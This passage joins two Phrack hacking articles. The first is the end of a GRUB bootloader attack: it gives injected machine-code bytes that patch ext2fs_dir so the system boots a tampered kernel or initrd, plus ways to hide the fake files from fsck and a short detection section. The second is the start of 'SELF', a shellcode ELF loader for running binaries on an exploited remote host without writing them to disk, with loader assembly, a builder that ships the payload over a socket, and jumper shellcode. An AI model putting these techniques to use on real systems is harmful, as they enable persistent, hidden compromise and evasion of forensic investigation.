[fsys_ffs.c] [fsys_minix.c] [fsys_reiserfs.c] [fsys_vstafs.c]
[hercules.c] [serial.c] [smp-imps.c] [stage2.c] [md5.c]
We can see e2fs_stage1_5 and stage2 are similar. But e2fs_stage1_5 is
smaller, which contains basic modules(disk io, string handling, system
initialization, ext2/3 file system handling), while stage2 is all-in-one,
which contains all file system modules, display, encryption, etc.
start.S is very important for Grub. stage1 will load start.S to
0200:0000(if stage1_5 is configured) or 0800:0000(if not), then jump to
it. The task of start.S is simple(only 512Byte),it will load the rest parts
of stage1_5 or stage2 to memory. The question is, since the file-system
related code hasn't been loaded, how can grub know the location of the rest
sectors? start.S makes a trick:
-------------------------------- BEGIN -----------------------------------
blocklist_default_start:
.long 2 /* this is the sector start parameter, in logical
sectors from the start of the disk, sector 0 */
blocklist_default_len: /* this is the number of sectors to read */
#ifdef STAGE1_5
.word 0 /* the command "install" will fill this up */
#else
.word (STAGE2_SIZE + 511) >> 9
#endif
blocklist_default_seg:
#ifdef STAGE1_5
.word 0x220
#else
.word 0x820 /* this is the segment of the starting address
to load the data into */
#endif
firstlist: /* this label has to be after the list data!!! */
--------------------------------- END ------------------------------------
an example:
# hexdump -x -n 512 /boot/grub/stage2
...
00001d0 [ 0000 0000 0000 0000 ][ 0000 0000 0000 0000 ]
00001e0 [ 62c7 0026 0064 1600 ][ 62af 0026 0010 1400 ]
00001f0 [ 6287 0026 0020 1000 ][ 61d0 0026 003f 0820 ]
We should interpret(backwards) it as: load 0x3f sectors(start with No.
0x2661d0) to 0x0820:0000, load 0x20 sectors(start with No.0x266287) to
0x1000:0000, load 0x10 sectors(start with No.0x2662af) to 0x1400:00, load
0x64 sectors(start with No.0x2662c7) to 0x1600:0000.
In my distro, stage2 has 0xd4(1+0x3f+0x20+0x10+0x64) sectors, file size
is 108328 bytes, the two matches well(sector size is 512).
When start.S finishes running, stage1_5/stage2 is fully loaded. start.S
jumps to asm.S and continues to execute.
There still remains a problem, when is stage1.5 configured? In fact,
stage1.5 is not necessary. Its task is to load /boot/grub/stage2 to
memory. But pay attention, stage1.5 uses file system to load file stage2:
It analyzes the dentry, gets stage2's inode, then stage2's blocklists. So
if stage1.5 is configured, the stage2 is loaded via file system; if not,
stage2 is loaded via both stage2_sector in stage1 and sector lists in
start.S of stage2.
To make things clear, suppose the following scenario: (ext2/ext3)
# mv /boot/grub/stage2 /boot/grub/stage2.bak
If stage1.5 is configured, the boot fails, stage1.5 can't find
/boot/grub/stage2 in the file-system. But if stage1.5 is not configured,
the boot succeeds! That's because mv doesn't change stage2's physical
layout, so stage2_sector remains the same, also the sector lists in stage2.
Now, stage1 (-> stage1.5) -> stage2. Everything is in position. asm.S
will switch to protected mode, open /boot/grub/grub.conf(or menu.lst), get
configuration, display menus, and wait for user's interaction. After user
chooses the kernel, grub loads the specified kernel image(sometimes
ramdisk image also), then boots the kernel.
----[ 1.4 - Grub util
If your grub is overwritten by Windows, you can use grub util to
reinstall grub.
# grub
---
grub > find /grub/stage2 <- if you have boot partition
or
grub > find /boot/grub/stage2 <- if you don't have boot partition
---
(hd0,0) <= the result of 'find'
grub > root (hd0,0) <- set root of boot partition
---
grub > setup (hd0) <- if you want to install grub in mbr
or
grub > setup (hd0,0) <- if you want to install grub in the
--- boot sector
Checking if "/boot/grub/stage1" exists... yes
Checking if "/boot/grub/stage2" exists... yes
Checking if "/boot/grub/e2fs_stage1_t" exists... yes
Running "embed /boot/grub/e2fs_stage1_5 (hd0)"... 22 sectors are
embedded succeeded. <= if you install grub in boot sector,
this fails
Running "install /boot/grub/stage1 d (hd0) (hd0)1+22 p
(hd0,0)/boot/grub/stage2 /boot/grub/grub.conf"... succeeded
Done
We can see grub util tries to embed stage1.5 if possible. If grub is
installed in MBR, stage1.5 is located after MBR, 22 sectors in size. If
grub is installed in boot sector, there's not enough space to embed
stage1.5(superblock is at offset 0x400 for ext2/ext3 partition, only 0x200
for stage1.5), so the 'embed' command fails.
Refer to grub manual and source codes for more info.
--[ 2.0 - Possibility to load specified file
Grub has its own mini-file-system for ext2/3. It use grub_open(),
grub_read() and grub_close() to open/read/close a file. Now, take a look at
ext2fs_dir
/* preconditions: ext2fs_mount already executed, therefore supblk in buffer
* known as SUPERBLOCK
* returns: 0 if error, nonzero iff we were able to find the file
* successfully
* postconditions: on a nonzero return, buffer known as INODE contains the
* inode of the file we were trying to look up
* side effects: messes up GROUP_DESC buffer area
*/
int ext2fs_dir (char *dirname) {
int current_ino = EXT2_ROOT_INO; /*start at the root */
int updir_ino = current_ino; /* the parent of the current directory */
...
}
Suppose the line in grub.conf is:
kernel=/boot/vmlinuz-2.6.11 ro root=/dev/hda1
grub_open calls ext2fs_dir("/boot/vmlinuz-2.6.11 ro root=/dev/hda1"),
ext2fs_dir puts the inode info in INODE, then grub_read can use INODE to
get data of any offset(the map resides in INODE->i_blocks[] for direct
blocks).
The internal of ext2fs_dir is:
1. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
^ inode = EXT2_ROOT_INO, put inode info in INODE;
2. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
^ find dentry in '/', then put the inode info of '/boot' in INODE;
3. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
^ find dentry in '/boot', then put the inode info of
'/boot/vmlinuz-2.6.11' in INODE;
4. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
^ the pointer is space, INODE is regular file,
returns 1(success), INODE contains info about
'/boot/vmlinuz-2.6.11'.
If we parasitize this code, and return inode info of file_fake, grub
will happily load file_fake, considering it as /boot/vmlinuz-2.6.11.
We can do this:
1. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
^ inode = EXT2_ROOT_INO;
2. boot/vmlinuz-2.6.11 ro root=/dev/hda1
^ change it to 0x0, change EXT2_ROOT_INO to inode of file_fake;
3. boot/vmlinuz-2.6.11 ro root=/dev/hda1
^ EXT2_ROOT_INO(file_fake) info is in INODE, the pointer is 0x0,
INODE is regular file, returns 1.
Since we change the argument of ext2fs_dir, does it have side-effects?
Don't forget the latter part "ro root=/dev/hda1", it's the parameter passed
to kernel. Without it, the kernel won't boot correctly.
(P.S.: Just "cat/proc/cmdline" to see the parameter your kernel has.)
So, let's check the internal of "kernel=..."
kernel_func processes the "kernel=..." line
static int
kernel_func (char *arg, int flags)
{
...
/* Copy the command-line to MB_CMDLINE. */
grub_memmove (mb_cmdline, arg, len + 1);
kernel_type = load_image (arg, mb_cmdline, suggested_type, load_flags);
...
}
See? The arg and mb_cmdline have 2 copies of string
"/boot/vmlinuz-2.6.11 ro root=/dev/hda1" (there is no overlap, so in fact,
grub_memmove is the same as grub_memcpy). In load_image, you can find arg
and mb_cmdline don't mix with each other. So, the conclusion is - NO
side-effects. If you're not confident, you can add some codes to get things
back.
--[ 3.0 - Hacking techniques
The hacking techniques should be general for all grub versions(exclude
grub-ng) shipped with all Linux distros.
----[ 3.1 - How to load file_fake
We can add a jump at the beginning of ext2fs_dir, then make the first
character of ext2fs_dir's argument to 0, make "current_ino = EXT2_ROOT_INO"
to "current_ino = INODE_OF_FAKE_FILE", then jump back.
Attention: Only when certain condition is met can you load file_fake.
e.g.: When system wants to open /boot/vmlinuz-2.6.11, then /boot/file_fake
is returned; while when system wants /boot/grub/grub.conf, the correct file
should be returned. If the codes still return /boot/file_fake, oops, no
menu display.
Jump is easy, but how to make "current_ino = INODE_OF_FAKE_FILE"?
int ext2fs_dir (char *dirname) {
int current_ino = EXT2_ROOT_INO; /*start at the root */
int updir_ino = current_ino; /* the parent of the current directory */
...
EXT2_ROOT_INO is 2, so current_ino and updir_ino are initialized to 2.
The correspondent assembly code should be like "movl $2, 0xffffXXXX($esp)"
But keep in mind of optimization: both current_ino and updir_ino are
assigned to 2, the optimized result can be "movl $2, 0xffffXXXX($esp)"
and "movl $2, 0xffffYYYY($esp)", or "movl $2, %reg" then "movl %reg,
0xffffXXXX($esp)" "movl %reg, 0xffffYYYY($esp)", or more variants. The type
is int, value is 2, so the possibility of "xor %eax, %eax; inc %eax;
inc %eax" is low, it's also the same to "xor %eax, %eax; movb $0x2, %al".
What we need is to search 0x00000002 from ext2fs_dir to ext2fs_dir +
depth(e.g.: 100 bytes), then change 0x00000002 to INODE_OF_FAKE_FILE.
static char ext2_embed_code[] = {
0x60, /* pusha */
0x9c, /* pushf */
0xeb, 0x28, /* jmp 4f */
0x5f, /* 1: pop %edi */
0x8b, 0xf, /* movl (%edi), %ecx */
0x8b, 0x74, 0x24, 0x28, /* movl 40(%esp), %esi */
0x83, 0xc7, 0x4, /* addl $4, %edi */
0xf3, 0xa6, /* repz cmpsb %es:(%edi), %ds:(%esi) */
0x83, 0xf9, 0x0, /* cmp $0, %ecx */
0x74, 0x2, /* je 2f */
0xeb, 0xe, /* jmp 3f */
0x8b, 0x74, 0x24, 0x28, /* 2: movl 40(%esp), %esi */
0xc6, 0x6, 0x00, /* movb $0x0, (%esi) '\0' */
0x9d, /* popf */
0x61, /* popa */
0xe9, 0x0, 0x0, 0x0, 0x0, /* jmp change_inode */
0x9d, /* 3: popf */
0x61, /* popa */
0xe9, 0x0, 0x0, 0x0, 0x0, /* jmp not_change_inode */
0xe8, 0xd3, 0xff, 0xff, 0xff, /* 4: call 1b */
0x0, 0x0, 0x0, 0x0, /* kernel filename length */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, /* filename string, 48B in all */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0
};
memcpy( buf_embed, ext2_embed_code, sizeof(ext2_embed_code));
Of course you can write your own string-comparison algorithm.
/* embeded code, 2nd part, change_inode */
memcpy( buf_embed + sizeof(ext2_embed_code), s_start, s_mov_end - s_start);
modify_EXT2_ROOT_INO_to_INODE_OF_FAKE_FILE();
/* embeded code, 3rd part, not_change_inode*/
memcpy( buf_embed + sizeof(ext2_embed_code) + (s_mov_end - s_start) + 5,
s_start, s_mov_end - s_start);
The result is like this:
ext2fs_dir: not_change_inode:
+------------------------+ +--------> +------------------------+
| push %esp <= jmp embed | | | push %esp |
| mov %esp, %ebp | | | mov %esp, %ebp |
| push %edi | | | push %edi |
| push %esi +--------< | push %esi |
| sub $0x42c, %esp | | | sub $0x42c, %esp |
| mov $2, fffffbe4(%esp) | | | mov $2, fffffbe4(%esp) |
| mov $2, fffffbe0(%esp) | | | mov $2, fffffbe0(%esp) |
|back: | | | jmp back |
+------------------------+ | +------------------------+
embed: +--------> change_inode:
+------------------------+ +------------------------+
| save registers | | push %esp |
| compare strings | | mov %esp, %ebp |
| if match, goto 1 | | push %edi |
| if not, goto 2 | | push %esi |
| 1: restore registers | | sub $0x42c, %esp |
| jmp change_inode | INODE_OF_ -> | mov $?, fffffbe4(%esp) |
| 2: restore registers | FAKE_FILE -> | mov $?, fffffbe0(%esp) |
| jmp not_change_inode | | jmp back |
+------------------------+ +------------------------+
----[ 3.2 - How to locate ext2fs_dir
That's the difficult part. stage2 is generated by objcopy, so all ELF
information are stripped - NO SYMBOL TABLE! We must find some PATTERNs to
locate ext2fs_dir.
The first choice is log2:
#define long2(n) ffz(~(n))
static __inline__ unsigned long
ffz (unsigned long word)
{
__asm__ ("bsfl %1, %0"
:"=r" (word)
:"r" (~word));
return word;
}
group_desc = group_id >> log2 (EXT2_DESC_PER_BLOCK (SUPERBLOCK));
The question is, ffz is declared as __inline__, which indicates MAYBE
this function is inlined, MAYBE not. So we give it up.
Next choice is SUPERBLOCK->s_inodes_per_group in
group_id = (current_ino - 1) / (SUPERBLOCK->s_inodes_per_group);
#define RAW_ADDR(x) (x)
#define FSYS_BUF RAW_ADDR(0x68000)
#define SUPERBLOCK ((struct ext2_super_block *)(FSYS_BUF))
struct ext2_super_block{
...
__u32 s_inodes_per_group /* # Inodes per group */
...
}
Then we calculate SUPERBLOCK->s_inodes_per_group is at 0x68028. This
address only appears in ext2fs_dir, so the possibility of collision is low.
After locating 0x68028, we move backwards to get the start of ext2fs_dir.
Here comes another question, how to identify the start of ext2fs_dir? Of
course you can search backwards for 0xc3, likely it's ret. But what if it's
only part of an instruction such as operands? Also, sometimes, gcc adds
some junk codes to make function address aligned(4byte/8byte/16byte), then
how to skip these junk codes? Just list all the possible combinations?
This method is practical, but not ideal.
Now, we noticed fsys_table:
struct fsys_entry fsys_table[NUM_FSYS + 1] =
{
...
# ifdef FSYS_FAT
{"fat", fat_mount, fat_read, fat_dir, 0, 0},
# endif
# ifdef FSYS_EXT2FS
{"ext2fs", ext2fs_mount, ext2fs_read, ext2fs_dir, 0, 0},
# endif
# ifdef FSYS_MINIX
{"minix", minix_mount, minix_read, minix_dir, 0, 0},
# endif
...
};
fsys_table is called like this:
if ((*(fsys_table[fsys_type].mount_func)) () != 1)
So, our trick is:
1. Search stage2 for string "ext2fs", get its offset, then convert it to
memory address(stage2 starts from 0800:0000) addr_1.
2. Search stage2 for addr_1, get its offset, then get next 5 integers
(A, B, C, D, E), A<B ? B<C ? C<addr_1 ? D==0 ? E==0? If any one is "No",
goto 1 and continue search
3. Then C is memory address of ext2fs_dir, convert it to file offset. OK,
that's it.
----[ 3.3 - How to hack grub
OK, with the help of 3.1 and 3.2, we can hack grub very easily.
The first target is stage2. We get the start address of ext2fs_dir, add
a JMP to somewhere, then copy the embeded code. Then where is 'somewhere'?
Obviously, the tail of stage2 is not perfect, this will change the file
size. We can choose minix_dir as our target. What about fat_mount? It's
right behind ext2fs_dir. But the answer is NO! Take a look at "root ..."
root_func()->open_device()->attemp_mount()
for (fsys_type = 0; fsys_type < NUM_FSYS
&& (*(fsys_table[fsys_type].mount_func)) () != 1; fsys_type++);
Take a look at fsys_table, fat is ahead of ext2, so fat_mount is called
first. If fat_mount is modified, god knows the result. To make things safe,
we choose minix_dir.
Now, your stage2 can load file_fake. Size remains the same, but hash
value changed.
----[ 3.4 - How to make things sneaky
Why must we use /boot/grub/stage2? We can get stage1 jump to
stage2_fake(cp stage2 stage2_fake, modify stage2_fake), so stage2 remains
intact.
If you cp stage2 to stage2_fake, stage2_fake won't work. Remember the
sector lists in start.S? You have to change the lists to stage2_fake, not
the original stage2. You can retrieve the inode, get i_block[], then the
block lists are there(Don't forget to add the partition offset). You have
to bypass the VFS to get inode info, see [1].
Since you use stage2_fake, the correspondent address in stage1 should
be modified. If the stage1.5 is not installed, that's easy, you just change
stage2_sector from stage2_orig to stage2_fake(MBR is changed). If stage1.5
is installed and you're lazy and bold, you can skip stage1.5 - modify
stage2_address, stage2_sector, stage2_segment of stage1. This is risky,
because 1) If "virus detection" in BIOS is enabled, the MBR modification
will be detected 2) The "Grub stage1.5" & "Grub loading, please wait" will
change to "Grub stage2". It's flashy, can you notice it on your FAST PC?
If you really want to be sneaky, then you can hack stage1.5, using
similiar techniques like 3.1 and 3.2. Don't forget to change the sector
lists of stage1.5(start.S) - you have to append your embeded code at the
end.
You can make things more sneaky: make stage2_fake/kernel_fake hidden
from FS, e.g. erase its dentry from /boot/grub. Wanna anti-fsck? Move
inode_of_stage2 to inode_from_1_to_10. See [2]
--[ 4.0 - Usage
Combined with other techniques, see how powerful our hack_grub is.
Notes: All files should reside in the same partition!
1) Combined with static kernel patch
a) cp kernel.orig kernel.fake
b) static kernel patch with kernel.fake[3]
c) cp stage2 stage2.fake
d) hack_grub stage2.fake kernel.orig inode_of_kernel.fake
e) hide kernel.fake and stage2.fake (optional)
2) Combined with module injection
a) cp initrd.img.orig initrd.img.fake
b) do module injection with initrd.img.fake, e.g. ext3.[k]o [4]
c) cp stage2 stage2.fake
d) hack_grub stage2.fake initrd.img inode_of_initrd.img.fake
e) hide initrd.img.fake and stage2.fake (optional)
3) Make a fake grub.conf
4) More...
--[ 5.0 - Detection
1) Keep an eye on MBR and the following 63 sectors, also primary boot
sectors.
2) If not 1,
a) if stage1.5 is configured, compare sectors from 3(absolute
address, MBR is sector No. 1) with /boot/grub/e2fs_stage1_5
b) if stage1.5 is not configured, see if stage2_sector points to
real /boot/grub/stage2 file
3) check the file consistency of e2fs_stage1_5 and stage2
4) if not 3 (Hey, are you a qualified sysadmin?)
if a) If you're suspicious about kernel, dump the kernel and make a
byte-to-byte with kernel on disk. See [5] for more
b) If you're suspicious about module, that's a hard challenge,
maybe you can dump it and disassemble it?
--[ 6.0 - At the end
Lilo is another boot loader, but it's file-system-insensitive. So Lilo
doesn't have built-in file-systems. It relies on /boot/bootsect.b and
/boot/map.b. So, if you're lazy, write a fake lilo.conf, which displays
a.img but loads b.img. Or, you can make lilo load /boot/map.b.fake. The
details depend on yourself. Do it!
Thanks to madsys & grip2 for help me solve some hard-to-crack things;
thanks to airsupply and other guys for stage2 samples (redhat 7.2/9/as3,
Fedora Core 2, gentoo, debian and ubuntu), thanks to zhtq for some comments
about paper-writing.
--[ 7.0 - Ref
[1] Design and Implementation of the Second Extended Filesystem
http://e2fsprogs.sourceforge.net/ext2intro.html
[2] ways to hide files in ext2/3 filesystem (Chinese)
http://www.linuxforum.net/forum/gshowflat.php?Cat=&Board=security&
Number=545342&page=0&view=collapsed&sb=5&o=all&vc=1
[3] Static Kernel Patching
http://www.phrack.org/show.php?p=60&a=8
[4] Infecting Loadable Kernel Modules
http://www.phrack.org/show.php?p=61&a=10
[5] Ways to find 2.6 kernel rootkits (Chinese)
http://www.linuxforum.net/forum/gshowflat.php?Cat=&Board=security&
Number=540646&page=0&view=collapsed&sb=5&o=all&vc=1
--[ 8 - hack_grub.tar.gz
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====
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3f, Phile #0x0b of 0x14
|=----------------=[ Advanced Antiforensics : SELF ]=-------------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ Pluf & Ripe ]=------------------------------=|
|=-----------------------[ www.7a69ezine.org ]=--------------------------=|
1 - Introduction
2 - Userland Execve
3 - Shellcode ELF loader
4 - Design and Implementation
4.1 - The lxobject
4.1.1 - Static ELF binary
4.1.2 - Stack context
4.1.3 - Shellcode loader
4.2 - The builder
4.3 - The jumper
5 - Multiexecution
5.1 - Gits
6 - Conclusion
7 - Greetings
8 - References
A - Tested systems
B - Sourcecode
---[ 1 - Introduction
The techniques of remote services' exploitation have made a substantial
progress. At the same time, the range of shellcodes have increased and
incorporates new and complex anti-detection techniques like polymorphism
functionalities.
In spite of the advantages that all these give to the attackers, a call to
the syscall execve is always needed; that ends giving rise to a series of
problems:
- The access to the syscall execve may be denied if the host uses some
kind of modern protection system.
- The call to execve requires the file to execute to be placed in the
hard disk. Consequently, if '/bin/shell' does not exist, which is a
common fact in chroot environments, the shellcode will not be executed
properly.
- The host may not have tools that the intruder may need, thus creating
the need to upload them, which can leave traces of the intrusion in
the disk.
The need of a shellcode that solves them arises. The solution is found in
the 'userland exec'.
---[ 2 - Userland Execve
The procedure that allows the local execution of a program avoiding the use
of the syscall execve is called 'userland exec' or 'userland execve'.
It's basically a mechanism that simulates correctly and orderly most of the
procedures that the kernel follows to load an executable file in memory and
start its execution. It can be summarized in just three steps:
- Load of the binary's required sections into memory.
- Initialization of the stack context.
- Jump to the entry point (starting point).
The main aim of the 'userland exec' is to allow the binaries to load avoiding
the use of the syscall execve that the kernel contains, solving the first of
the problems stated above. At the same time, as it is a specific implementation
we can adapt its features to our own needs. We'll make it so the ELF file
will not be read from the hard disk but from other supports like a socket.
With this procedure, the other two problems stated before are solved because
the file '/bin/sh' doesn't need to be visible by the exploited process but
can be read from the net. On the other hand, tools that don't reside in the
destination host can also be executed.
The first public implementation of a execve in a user environment was made by
"the grugq" [1], its codification and inner workings are perfect but it has
some disadvantages:
- Doesn't work for real attacks.
- The code is too large and difficult to port.
Thanks to that fact it was decided to put our efforts in developing another
'userland execve' with the same features but with a simpler codification and
oriented to exploits' use. The final result has been the 'shellcode ELF
loader'.
---[ 3 - Shellcode ELF loader
The shellcode ELF loader or Self is a new and sophisticated post-exploitation
technique based on the userland execve. It allows the load and execution of
a binary ELF file in a remote machine without storing it on disk or modifying
the original filesystem. The target of the shellcode ELF loader is to provide
an effective and modern post-exploitation anti-forensic system for exploits
combined with an easy use. That is, that an intruder can execute as many
applications as he desires.
---[ 4 - Design and Implementation
Obtaining an effective design hasn't been an easy task, different options
have been considered and most of them have been dropped. At last, it was
selected the most creative design that allows more flexibility, portability
and a great ease of use.
The final result is a mix of multiple pieces, independent one of another,
that realize their own function and work together in harmony. This pieces
are three: the lxobject, the builder and the jumper. These elements will make
the task of executing a binary in a remote machine quite easy. The lxobject
is a special kind of object that contains all the required elements to change
the original executable of a guest process by a new one. The builder and
jumper are the pieces of code that build the lxobject, transfer it from the
local machine (attacker) to the remote machine (attacked) and activate it.
As a previous step before the detailed description of the inner details of
this technique, it is needed to understand how, when and where it must be
used. Here follows a short summary of its common use:
- 1st round, exploitation of a vulnerable service:
In the 1st round we have a machine X with a vulnerable service Y. We want to
exploit this juicy process so we use the suitable exploit using as payload
(shellcode) the jumper. When exploited, the jumper is executed and we're
ready to the next round.
- 2nd round, execution of a binary:
Here is where the shellcode ELF loader takes part; a binary ELF is selected
and the lxobject is constructed. Then, we sent it to the jumper to be
activated. The result is the load and execution of the binary in a remote
machine. We win the battle!!
---[ 4.1 - The lxobject
What the hell is that? A lxobject is an selfloadable and autoexecutable
object, that is to say, an object specially devised to completely replace the
original guest process where it is located by a binary ELF file that carries
and initiates its execution. Each lxobject is built in the intruder machine
using the builder and it is sent to the attacked machine where the jumper
receives and activates it.
Therefore, it can be compared to a missile that is sent from a place to the
impact point, being the explosive charge an executable. This missile is built
from three assembled parts: a binary static ELF, a preconstructed stack
context and a shellcode loader.
---[ 4.1.1 - Static ELF binary
It's the first piece of a lxobject, the binary ELF that must be loaded and
executed in a remote host. It's just a common executable file, statically
compiled for the architecture and system in which it will be executed.
It was decided to avoid the use of dynamic executables because it would add
complexity which isn't needed in the loading code, noticeably raising the
rate of possible errors.
---[ 4.1.2 - Stack context
It's the second piece of a lxobject; the stack context that will be needed by
the binary. Every process has an associated memory segment called stack where
the functions store its local variables. During the binary load process, the
kernel fills this section with a series of initial data requited for its
subsequent execution. We call it 'initial stack context'.
To ease the portability and specially the loading process, a preconstructed
stack context was adopted. That is to say, it is generated in our machine and
it is assembled with the binary ELF file. The only required knowledge is the
format and to add the data in the correct order. To the vast majority of
UNIX systems it looks like:
.----------------.
.--> | alignment |
| |================|
| | Argc | - Arguments (number)
| |----------------|
| | Argv[] | ---. - Arguments (vector)
| |----------------| |
| | Envp[] | ---|---. - Environment variables (vector)
| |----------------| | |
| | argv strings | <--' |
| |----------------| | - Argv and envp data (strings)
| | envp strings | <------'
| |================|
'--- | alignment | -------> Upper and lower alignments
'----------------'
This is the stack context, most reduced and functional available for us. As
it can be observed no auxiliary vector has been added because the work with
static executables avoids the need to worry about linking. Also, there isn't
any restriction about the allowed number of arguments and environment
variables; a bunch of them can increase the context's size but nothing more.
As the context is built in the attacker machine, that will usually be
different from the attacked one; knowledge of the address space in which the
stack is placed will be required. This is a process that is automatically
done and doesn't suppose a problem.
--[ 4.1.3 - Shellcode Loader
This is the third and also the most important part of a lxobject. It's a
shellcode that must carry on the loading process and execution of a binary
file. it is really a simple but powerful implementation of userland execve().
The loading process takes the following steps to be completed successfully
(x86 32bits):
* pre-loading: first, the jumper must do some operations before anything
else. It gets the memory address where the lxobject has been previously
stored and pushes it into the stack, then it finds the loader code and
jumps to it. The loading has begun.
__asm__(
"push %0\n"
"jmp *%1"
:
: "c"(lxobject),"b"(*loader)
);
* loading step 1: scans the program header table and begins to load each
PT_LOAD segment. The stack context has its own header, PT_STACK, so when
this kind of segment is found it will be treated differently from the
rest (step 2)
.loader_next_phdr:
// Check program header type (eax): PT_LOAD or PT_STACK
movl (%edx),%eax
// If program header type is PT_LOAD, jump to .loader_phdr_load
// and load the segment referenced by this header
cmpl $PT_LOAD,%eax
je .loader_phdr_load
// If program header type is PT_STACK, jump to .loader_phdr_stack
// and load the new stack segment
cmpl $PT_STACK,%eax
je .loader_phdr_stack
// If unknown type, jump to next header
addl $PHENTSIZE,%edx
jmp .loader_next_phdr
For each PT_LOAD segment (text/data) do the following:
* loading step 1.1: unmap the old segment, one page a time, to be sure that
there is enough room to fit the new one:
movl PHDR_VADDR(%edx),%edi
movl PHDR_MEMSZ(%edx),%esi
subl $PG_SIZE,%esi
movl $0,%ecx
.loader_unmap_page:
pushl $PG_SIZE
movl %edi,%ebx
andl $0xfffff000,%ebx
addl %ecx,%ebx
pushl %ebx
pushl $2
movl $SYS_munmap,%eax
call do_syscall
addl $12,%esp
addl $PG_SIZE,%ecx
cmpl %ecx,%esi
jge .loader_unmap_page
* loading step 1.2: map the new memory region.
pushl $0
pushl $0
pushl $-1
pushl $MAPS
pushl $7
movl PHDR_MEMSZ(%edx),%esi
pushl %esi
movl %edi,%esi
andl $0xffff000,%esi
pushl %esi
pushl $6
movl $SYS_mmap,%eax
call do_syscall
addl $32,%esp
* loading step 1.3: copy the segment from the lxobject to that place:
movl PHDR_FILESZ(%edx),%ecx
movl PHDR_OFFSET(%edx),%esi
addl %ebp,%esi
repz movsb
* loading step 1.4: continue with next header:
addl $PHENTSIZE,%edx
jmp .loader_next_phdr
* loading step 2: when both text and data segments have been loaded
correctly, it's time to setup a new stack:
.loader_phdr_stack:
movl PHDR_OFFSET(%edx),%esi
addl %ebp,%esi
movl PHDR_VADDR(%edx),%edi
movl PHDR_MEMSZ(%edx),%ecx
repz movsb
* loading step 3: to finish, some registers are cleaned and then the loader
jump to the binary's entry point or _init().
.loader_entry_point:
movl PHDR_ALIGN(%edx),%esp
movl EHDR_ENTRY(%ebp),%eax
xorl %ebx,%ebx
xorl %ecx,%ecx
xorl %edx,%edx
xorl %esi,%esi
xorl %edi,%edi
jmp *%eax
* post-loading: the execution has begun.
As can be seen, the loader doesn't undergo any process to build the stack
context, it is constructed in the builder. This way, a pre-designed context is
available and should simply be copied to the right address space inside the
process.
Despite the fact of codifying a different loader to each architecture the
operations are plain and concrete. Whether possible, hybrid loaders capable
of functioning in the same architectures but with the different syscalls
methods of the UNIX systems should be designed. The loader we have developed
for our implementation is an hybrid code capable of working under Linux and
BSD systems on x86/32bit machines.
---[ 4.2 - The builder
It has the mission of assembling the components of a lxobject and then
sending it to a remote machine. It works with a simple command line design
and its format is as follows:
./builder <host> <port> <exec> <argv> <envp>
where:
host, port = the attached machine address and the port where the jumper is
running and waiting
exec = the executable binary file we want to execute
argv, envp = string of arguments and string of environment variables,
needed by the executable binary
For instance, if we want to do some port scanning from the attacked host, we
will execute an nmap binary as follows:
./builder 172.26.0.1 2002 nmap-static "-P0;-p;23;172.26.1-30" "PATH=/bin"
Basically, the assembly operations performed are the following:
* allocate enough memory to store the executable binary file, the shellcode
loader and the stack's init context.
elf_new = (void*)malloc(elf_new_size);
* insert the executable into the memory area previously allocated and then
clean the fields which describe the section header table because they
won't be useful for us as we will work with an static file. Also, the
section header table could be removed anyway.
ehdr_new->e_shentsize = 0;
ehdr_new->e_shoff = 0;
ehdr_new->e_shnum = 0;
ehdr_new->e_shstrndx = 0;
* build the stack context. It requires two strings, the first one contains
the arguments and the second one the environment variables. Each item is
separated by using a delimiter. For instance:
<argv> = "arg1;arg2;arg3;-h"
<envp> = "PATH=/bin;SHELL=sh"
Once the context has been built, a new program header is added to the
binary's program header table. This is a PT_STACK header and contains all
the information which is needed by the shellcode loader in order to setup
the new stack.
* the shellcode ELF loader is introduced and its offset is saved within the
e_ident field in the elf header.
memcpy(elf_new + elf_new_size - PG_SIZE + LOADER_CODESZ, loader, LOADER_CODESZ);
ldr_ptr = (unsigned long *)&ehdr_new->e_ident[9];
*ldr_ptr = elf_new_size - PG_SIZE + LOADER_CODESZ;
* the lxobject is ready, now it's sent to specified the host and port.
connect(sfd, (struct sockaddr *)&srv, sizeof(struct sockaddr)
write(sfd, elf_new, elf_new_size);
An lxobject finished and assembled correctly, ready to be sent, looks like
this:
[ Autoloadable and Autoexecutable Object ]
.------------------------------------------------
|
| [ Static Executable File (1) ]
| .--------------------------------.
| | |
| | .----------------------. |
| | | ELF Header )---------|----|--.
| | |----------------------| | | Shellcode Elf loader (3)
| | | Program Header Table | | | hdr->e_ident[9]
| | | | | |
| | | + PT_LOAD0 | | |
| | | + PT_LOAD1 | | |
| | | ... | | |
| | | ... | | |
| | | + PT_STACK )---------|----|--|--.
| | | | | | | Stack Context (2)
| | |----------------------| | | |
| | | Sections (code/data) | | | |
| '--> |----------------------| <--' | |
| .--> |######################| <-----' |
| | |## SHELLCODE LOADER ##| |
| P | |######################| |
| A | | | |
| G | | ....... | |
| E | | ....... | |
| | | | |
| | |######################| <--------'
| | |#### STACK CONTEXT ###|
| | |######################|
| '--> '----------------------'
|
'-----------------
---[ 4.3 - The jumper
It is the shellcode which have to be used by an exploit during the exploitation
process of a vulnerable service. Its focus is to activate the incoming lxobject
and in order to achieve it, at least the following operations should be done:
- open a socket and wait for the lxobject to arrive
- store it anywhere in the memory
- activate it by jumping into the loader
Those are the minimal required actions but it is important to keep in mind
that a jumper is a simple shellcode so any other functionality can be added
previously: break a chroot, elevate privileges, and so on.
1) how to get the lxobject?
It is easily achieved, already known techniques, as binding to a port and
waiting for new connections or searching in the process' FD table those that
belong to socket, can be applied. Additionally, cipher algorithms can be
added but this would lead to huge shellcodes, difficult to use.
2) and where to store it?
There are three possibilities:
a) store it in the heap. We just have to find the current location of the
program break by using brk(0). However, this method is dangerous and
unsuitable because the lxobject could be unmapped or even entirely
